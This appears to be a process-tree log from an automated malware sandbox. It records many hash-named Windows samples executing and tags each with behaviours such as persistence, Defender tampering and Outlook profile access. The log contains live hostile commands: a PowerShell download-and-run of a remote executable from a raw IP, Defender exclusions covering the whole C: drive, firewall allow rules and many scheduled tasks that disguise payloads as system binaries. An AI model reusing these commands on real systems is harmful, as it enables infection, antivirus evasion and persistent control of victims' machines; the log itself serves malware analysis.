C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 5523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 6563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 6883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 6723⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 9803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 9083⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 11563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 11643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 13363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 14963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 12243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 9923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 6763⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\mGxdd.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
-
-
-
C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9364 -s 2203⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn vhPqqmaZrV6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\q8pR8WPjY.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn vhPqqmaZrV6 /tr "mshta C:\Users\Admin\AppData\Local\Temp\q8pR8WPjY.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\q8pR8WPjY.hta3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'HBDGPTFHNQRU97ZXKK3LHAUKI4SSLI1U.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'3⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"3⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\Widget\WIDGET~1.EXE"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender TamperProtection settings
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST4⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="#/x!Nu|2NxbWN@" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" enable=yes & exit3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exeC:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 804⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exeC:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\images.exe"C:\ProgramData\images.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\ProgramData\images.exeC:\ProgramData\images.exe5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\ProgramData\images.exeC:\ProgramData\images.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "WAN Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmpF728.tmp"4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "WAN Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp3124.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"2⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"3⤵
- Modifies registry class
-
-
-
C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"2⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11760 -s 20203⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Run /TN "OneDrive Per-Machine Standalone Update Task2"3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C timeout 1 && del "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout 14⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F258F6~1.EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F497E0~1.EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\FFCC4C~1.EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\DD7125~1.EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files\Crashpad\attachments\lsass.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Crashpad\attachments\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Program Files\Crashpad\attachments\lsass.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Crashpad\attachments\lsass.exe"C:\Program Files\Crashpad\attachments\lsass.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Users\Default\PrintHood\TextInputHost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4352 -ip 43521⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Users\Default\PrintHood\TextInputHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 12 /tr "'C:\Users\Default\PrintHood\TextInputHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Documents\cone.exe\random.exe.bin"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4352 -ip 43521⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Defender\en-US\smss.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\en-US\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4352 -ip 43521⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender\en-US\smss.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 14 /tr "'C:\Windows\Registration\CRMLog\powershell.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4352 -ip 43521⤵
-
C:\Windows\system32\mshta.exemshta1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Windows\Registration\CRMLog\powershell.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Windows\Registration\CRMLog\powershell.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 7020 -ip 70201⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Windows Defender\en-US\smss.exe"C:\Program Files\Windows Defender\en-US\smss.exe"1⤵
- Executes dropped EXE
-
